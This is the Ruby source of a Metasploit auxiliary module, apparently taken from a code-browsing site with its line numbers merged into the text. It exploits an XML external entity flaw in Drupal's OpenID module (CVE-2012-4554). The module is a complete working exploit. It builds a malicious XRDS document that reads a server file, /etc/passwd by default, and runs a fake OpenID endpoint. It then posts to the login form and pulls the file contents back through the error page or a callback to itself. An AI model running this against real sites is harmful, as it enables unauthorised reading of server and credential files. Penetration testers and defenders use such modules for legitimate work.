Path: blob/master/modules/auxiliary/gather/drupal_openid_xxe.rb
19593 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Exploit::Remote::HttpServer::HTML8include REXML910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Drupal OpenID External Entity Injection',15'Description' => %q{16This module abuses an XML External Entity Injection17vulnerability on the OpenID module from Drupal. The vulnerability exists18in the parsing of a malformed XRDS file coming from a malicious OpenID19endpoint. This module has been tested successfully on Drupal 7.15 and207.2 with the OpenID module enabled.21},22'License' => MSF_LICENSE,23'Author' => [24'Reginaldo Silva', # Vulnerability discovery25'juan vazquez' # Metasploit module26],27'References' => [28[ 'CVE', '2012-4554' ],29[ 'OSVDB', '86429' ],30[ 'BID', '56103' ],31[ 'URL', 'https://drupal.org/node/1815912' ],32[ 'URL', 'https://github.com/drupal/drupal/commit/b9127101ffeca819e74a03fa9f5a48d026c562e5' ],33[ 'URL', 'https://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution' ]34],35'DisclosureDate' => '2012-10-17',36'Notes' => {37'Reliability' => UNKNOWN_RELIABILITY,38'Stability' => UNKNOWN_STABILITY,39'SideEffects' => UNKNOWN_SIDE_EFFECTS40}41)42)4344register_options(45[46OptString.new('TARGETURI', [ true, "Base Drupal directory path", '/drupal']),47OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"])48]49)50end5152def xrds_file53element_entity = <<~EOF54<!ELEMENT URI ANY>55<!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}">56EOF5758xml = Document.new5960xml.add(DocType.new('foo', "[ #{element_entity} ]"))6162xml.add_element(63"xrds:XRDS",64{65'xmlns:xrds' => "xri://$xrds",66'xmlns' => "xri://$xrd*($v*2.0)",67'xmlns:openid' => "http://openid.net/xmlns/1.0",68}69)7071xrd = xml.root.add_element("XRD")7273xrd.add_element(74"Status",75{76"cid" => "verified"77}78)79provider = xrd.add_element("ProviderID")80provider.text = "xri://@"8182canonical = xrd.add_element("CanonicalID")83canonical.text = "http://example.com/user"8485service = xrd.add_element("Service")8687type_one = service.add_element("Type")88type_one.text = "http://specs.openid.net/auth/2.0/signon"8990type_two = service.add_element("Type")91type_two.text = "http://openid.net/srv/ax/1.0"9293uri = service.add_element("URI")94uri.text = "METASPLOIT"9596local_id = service.add_element("LocalID")97local_id.text = "http://example.com/xrds"9899return xml.to_s.gsub(/METASPLOIT/, "#{get_uri}/#{@prefix}/&xxe;/#{@suffix}") # To avoid html encoding100end101102def check103signature = Rex::Text.rand_text_alpha(5 + rand(5))104res = send_openid_auth(signature)105106unless res107vprint_status("Connection timed out")108return Exploit::CheckCode::Unknown109end110111if drupal_with_openid?(res, signature)112return Exploit::CheckCode::Detected113end114115if generated_with_drupal?(res)116return Exploit::CheckCode::Safe117end118119return Exploit::CheckCode::Unknown120end121122def run123@prefix = Rex::Text.rand_text_alpha(4 + rand(4))124@suffix = Rex::Text.rand_text_alpha(4 + rand(4))125exploit126end127128def primer129res = send_openid_auth(get_uri)130131if res.nil?132# nothing to do here...133service.stop134return135end136137unless res.code == 500138print_warning("Unexpected answer, trying to parse anyway...")139end140141error_loot = parse_loot(res.body)142143# Check if file was retrieved on the drupal answer144# Better results, because there isn't URL encoding,145# plus probably allows to retrieve longer files.146print_status("Searching loot on the Drupal answer...")147unless loot?(error_loot)148# Check if file was leaked to the fake OpenID endpoint149# Contents are probably URL encoded, plus probably long150# files aren't full, but something is something :-)151print_status("Searching loot on HTTP query...")152loot?(@http_loot)153end154155# stop the service so the auxiliary module ends156service.stop157end158159def on_request_uri(cli, request)160if request.uri =~ /#{@prefix}/161vprint_status("Signature found, parsing file...")162@http_loot = parse_loot(request.uri)163return164end165166print_status("Sending XRDS...")167send_response_html(cli, xrds_file, { 'Content-Type' => 'application/xrds+xml' })168end169170def send_openid_auth(identifier)171res = send_request_cgi({172'uri' => normalize_uri(target_uri.to_s, "/"),173'method' => 'POST',174'vars_get' => {175"q" => "node",176"destination" => "node"177},178'vars_post' => {179"openid_identifier" => identifier,180"name" => "",181"pass" => "",182"form_id" => "user_login_block",183"op" => "Log in"184}185})186187return res188end189190def store(data)191path = store_loot("drupal.file", "text/plain", rhost, data, datastore['FILEPATH'])192print_good("File found and saved to path: #{path}")193end194195def parse_loot(data)196return nil if data.blank?197198# Full file found199if data =~ /#{@prefix}\/(.*)\/#{@suffix}/m200return $1201end202203# Partial file found204if data =~ /#{@prefix}\/(.*)/m205return $1206end207208return nil209end210211def loot?(data)212return false if data.blank?213214store(data)215return true216end217218def drupal_with_openid?(http_response, signature)219return false if http_response.blank?220return false unless http_response.code == 200221return false unless http_response.body =~ /openid_identifier.*#{signature}/222223return true224end225226def generated_with_drupal?(http_response)227return false if http_response.blank?228return true if http_response.headers['X-Generator'] and http_response.headers['X-Generator'] =~ /Drupal/229return true if http_response.body and http_response.body.to_s =~ /meta.*Generator.*Drupal/230231return false232end233234end235236237